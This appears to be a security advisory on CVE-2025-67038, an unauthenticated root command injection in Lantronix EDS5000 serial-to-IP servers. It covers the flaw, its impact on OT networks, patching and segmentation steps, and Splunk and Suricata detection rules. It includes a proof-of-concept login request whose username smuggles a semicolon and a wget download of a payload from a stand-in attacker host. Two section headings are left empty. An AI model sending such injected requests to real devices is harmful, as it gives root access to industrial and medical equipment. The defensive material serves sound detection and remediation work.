CVE-2025-67038: Lantronix EDS5000 -- OS Command Injection (Root)

Background

Lantronix EDS5000 devices are serial device servers — they convert serial ports (RS-232/RS-485) to Ethernet-accessible TCP/IP endpoints. They’re deployed in industrial control environments, building management systems, medical devices, and anywhere legacy serial equipment needs to connect to modern IP networks. A single compromised EDS5000 can expose the serial data stream of whatever device is attached, which in industrial settings often means control-plane traffic for PLCs, RTUs, or other OT equipment.

CVE-2025-67038 is one of 22 vulnerabilities disclosed by Claroty Team82 in April 2026 as part of the BRIDGE:BREAK research project, covering Lantronix EDS and XPort devices and Silex SX-series serial-to-IP converters. It is among the most straightforwardly exploitable: unauthenticated, single request, root code execution, no preconditions beyond network access to the device.

CISA added CVE-2025-67038 to the Known Exploited Vulnerabilities catalog on June 23, 2026.

Technical Mechanism

The vulnerability is in the HTTP RPC module’s authentication failure logging path. When a user fails to authenticate, the module writes a log entry that includes the supplied username. The username value is passed directly to a shell command without sanitisation:

# Pseudocode representation of the vulnerable code path:
shell_exec("log_auth_failure " + username + " >> /var/log/auth.log")

Because the username is concatenated into a shell command without any escaping, standard shell metacharacters break out of the intended context. A semicolon, backtick, or $() construct in the username terminates the original command and begins a new one.

The injected commands execute with root privileges. The logging function runs as root, so there is no privilege escalation step — the attacker gets root immediately. This is CWE-78 (Improper Neutralisation of Special Elements used in an OS Command) combined with CWE-94 (Improper Control of Generation of Code).

Exploitation does not require valid credentials. The vulnerable code path is triggered specifically by authentication failure — submitting an invalid password with a weaponised username is the attack vector.

A minimal proof-of-concept request looks like:

POST /login HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

username=admin%3Bwget+http%3A%2F%2Fattacker%2Fpayload+-O+%2Ftmp%2Fp&password=invalid

The %3B is a URL-encoded semicolon, breaking out of the log command. The download and execution of a payload follow as root.

Real-World Exploitation Evidence

CISA’s KEV addition on June 23, 2026 indicates evidence of active exploitation, though the agency has not published specifics. The BRIDGE:BREAK disclosure was public from April 2026, giving threat actors approximately two months before KEV addition to develop and deploy exploits against unpatched devices.

Industrial and OT-adjacent network appliances with web management interfaces are consistently targeted by both commodity botnet operators and targeted ICS threat actors. EDS5000 devices are reachable on the internet in some deployments — Shodan queries for Lantronix management interfaces consistently return thousands of results. Devices with network management exposed only on internal OT networks have a smaller attack surface but are still reachable from any system that can route to them.

No specific threat actor has been publicly attributed to exploitation of this CVE as of publication. The BRIDGE:BREAK research notes that serial-to-IP converters are attractive initial access targets because they bridge OT and IT networks — a compromised device can observe serial traffic from attached equipment and relay or modify it.

Impact Assessment

• Root-level code execution — no privilege escalation required; shell commands execute as root on first exploitation
• OT network bridging — a compromised EDS5000 can intercept, relay, or modify serial traffic from attached PLCs, RTUs, or medical devices
• No authentication required — exploitation is triggered by the authentication failure path; valid credentials are not needed
• Internet-exposed attack surface — thousands of Lantronix management interfaces are reachable on the public internet; internal-only devices remain reachable from any host on the same network segment
• Lateral movement — an attacker with root on the device can modify serial forwarding rules to intercept OT control-plane traffic or use the device as a pivot into adjacent network segments

Affected Versions

Remediation Steps

1. Apply firmware update — upgrade to Lantronix EDS5000 firmware version 2.2.0.0R1 or later. The firmware is available via the Lantronix support portal.

   Vendor firmware page: https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/2538438657/
   CISA advisory: https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-02

2. Restrict management interface access if patching must be deferred:

   # Apply upstream firewall/ACL rule to limit HTTP management access:
   # Allow only trusted admin source IPs to reach EDS5000 management port (typically TCP 80/443)
   # Block all other inbound connections to management interface

3. Network segmentation — move EDS5000 devices to a dedicated OT VLAN with no direct internet access and ACL-controlled access from IT networks.

4. Disable HTTP management if HTTPS-only management is available and sufficient — this removes the vulnerable HTTP RPC path while preserving management capability.

Note that network mitigations do not patch the underlying vulnerability. They reduce exposure but do not address the root command injection flaw.

Detection Guidance

Network monitoring:

# Watch for POST requests to /login on EDS5000 management interfaces
# Flag any username field containing shell metacharacters:
# semicolons (;), backticks (`), $( sequences, && or || operators
# URL-encoded forms: %3B (;), %60 (`), %24%28 ($()

# Alert on any outbound network connections from EDS5000 management IPs
# These devices should not initiate outbound connections in normal operation

SIEM detection approach:

# Splunk example -- detect suspicious auth failures with metacharacter usernames
index=network sourcetype=http_access method=POST uri="/login"
| search form_data="*%3B*" OR form_data="*%60*" OR form_data="*%24%28*"
| stats count by src_ip, dest_ip, form_data
| where count > 1

Suricata signature:

alert http any any -> $OT_NETS any (msg:"CVE-2025-67038 Lantronix EDS5000 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"%3B"; http_client_body; sid:2025670381; rev:1;)
alert http any any -> $OT_NETS any (msg:"CVE-2025-67038 Lantronix EDS5000 Backtick Injection"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"%60"; http_client_body; sid:2025670382; rev:1;)

Host indicators (post-compromise):

• Unexpected files in /tmp on the device
• New network listeners opened on the EDS5000
• Modified serial port forwarding rules
• Authentication logs with shell metacharacters in username fields

Timeline

References

• CISA ICS Advisory ICSA-26-069-02 — Lantronix EDS3000PS and EDS5000
• NVD — CVE-2025-67038
• Lantronix Firmware Update Page — EDS5000 Series